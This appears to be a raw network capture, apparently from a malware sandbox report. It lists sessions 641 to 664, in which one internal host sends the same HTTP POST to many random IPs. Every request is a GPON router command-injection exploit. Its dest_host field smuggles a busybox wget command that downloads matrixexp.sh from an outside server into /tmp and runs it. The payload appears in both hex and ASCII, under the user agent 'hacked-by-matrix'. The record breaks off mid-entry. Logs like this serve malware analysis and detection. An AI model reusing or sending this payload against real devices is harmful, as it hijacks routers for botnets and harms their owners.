Mar 21, 2024 05:22:14.229614019 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
641	192.168.2.14	37166	210.220.80.158	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229633093 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
642	192.168.2.14	39504	2.56.14.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229651928 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
643	192.168.2.14	47540	79.103.122.160	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229686022 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
644	192.168.2.14	60250	2.144.64.38	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229729891 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
645	192.168.2.14	47536	79.222.101.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229758024 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
646	192.168.2.14	58546	37.233.153.211	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229759932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
647	192.168.2.14	57172	37.114.165.101	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229799032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
648	192.168.2.14	48608	79.52.51.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229826927 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
649	192.168.2.14	58478	5.31.202.57	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229826927 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
650	192.168.2.14	47050	42.66.208.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229865074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
651	192.168.2.14	50532	2.216.99.215	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229877949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
652	192.168.2.14	45128	178.96.188.193	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229898930 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
653	192.168.2.14	47934	79.210.59.132	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229931116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
654	192.168.2.14	48408	2.16.160.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229950905 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
655	192.168.2.14	46356	109.90.248.174	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229974985 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
656	192.168.2.14	59032	5.201.109.229	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229974985 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
657	192.168.2.14	50620	178.91.236.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.230024099 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
658	192.168.2.14	32842	212.242.23.64	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.230042934 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
659	192.168.2.14	37352	178.19.71.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.230065107 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
660	192.168.2.14	58806	5.199.68.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.230102062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
661	192.168.2.14	40112	5.234.218.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.230132103 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
662	192.168.2.14	55290	2.227.4.40	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.230134964 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
663	192.168.2.14	45978	37.154.169.145	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.230196953 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
664	192.168.2.14	46640	118.169.213.203	443

Timestamp	Bytes transferred	Direction	Data
